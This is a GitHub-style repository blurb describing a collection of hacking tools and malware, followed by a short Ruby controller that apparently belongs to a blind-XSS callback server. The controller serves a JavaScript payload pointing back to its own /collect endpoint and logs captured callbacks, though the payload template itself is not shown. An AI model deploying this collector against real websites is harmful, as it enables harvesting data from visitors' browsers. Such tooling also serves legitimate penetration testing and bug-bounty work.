This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
require_relative '../controller'
class CollectController < Controller
def get
@callback_token = params['callback_token']
@url = format '%s://%s:%d/collect',
req.ssl? ? 'https' : 'http',
req.host,
req.port
log_request format('XSS callback served, callback set to %s', @url)
res.content_type = 'text/javascript'
res.body = ERB.new(IO.read('app/views/collect.js.erb')).result(binding)
end
def post
extra = CONFIG['callback_tokens'][params['callback_token']] || {}
log_request 'XSS callback captured', vulnerability_data: extra
end
end